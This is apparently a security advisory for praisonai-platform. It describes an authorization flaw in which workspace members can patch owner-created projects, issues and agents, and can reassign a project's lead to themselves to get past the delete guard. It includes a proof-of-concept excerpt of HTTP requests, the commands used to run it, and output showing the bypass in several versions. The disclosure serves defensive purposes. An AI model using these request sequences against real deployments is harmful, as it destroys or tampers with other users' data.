PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
漏洞描述
# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass ## Summary `praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment. ## Technical Details The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner. The project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts. The same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`. The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard. ## PoV the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service. Essential excerpt: ```python direct_delete_project = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_project = await client.patch( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", json={ "title": "Member-controlled project", "status": "active", "lead_type": "member", "lead_id": member_id, }, headers=member_headers, ) delete_project_after_takeover = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=member_headers, ) patch_agent = await client.patch( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=member_headers, ) outsider_patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "outsider attempt"}, headers=outsider_headers, ) ``` The full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`. ## PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17T20:13:04+01:00 chore: clean up redundant 'persist-credentials' entries in GitHub workflows ``` Run against a local checkout of current head: ```sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json ``` Decisive current-head output: ```json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "workspace_role": "member", "checks": { "member_direct_project_delete_before_patch": 403, "member_project_patch_lead_to_self": 200, "member_project_delete_after_lead_takeover": 204, "owner_get_project_after_member_delete": 404, "member_issue_patch": 200, "owner_observes_member_issue_title": "Member rewrote owner issue", "member_issue_delete_after_patch": 403, "member_agent_patch": 200, "owner_observes_member_agent_instructions": "member-controlled instructions", "member_agent_delete_after_patch": 403, "non_member_issue_patch": 403 }, "vulnerable": true } ``` Run against the latest PyPI package observed during testing: ```sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json ``` Decisive latest-PyPI output: ```json { "source": "pypi:praisonai-platform==0.1.8", "workspace_role": "member", "checks": { "member_direct_project_delete_before_patch": 403, "member_project_patch_lead_to_self": 200, "member_project_delete_after_lead_takeover": 204, "owner_get_project_after_member_delete": 404, "member_issue_patch": 200, "owner_observes_member_issue_title": "Member rewrote owner issue", "member_issue_delete_after_patch": 403, "member_agent_patch": 200, "owner_observes_member_agent_instructions": "member-controlled instructions", "member_agent_delete_after_patch": 403, "non_member_issue_patch": 403 }, "vulnerable": true } ``` Version sweep excerpt: ```text praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior. praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. ``` ## Impact An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior. S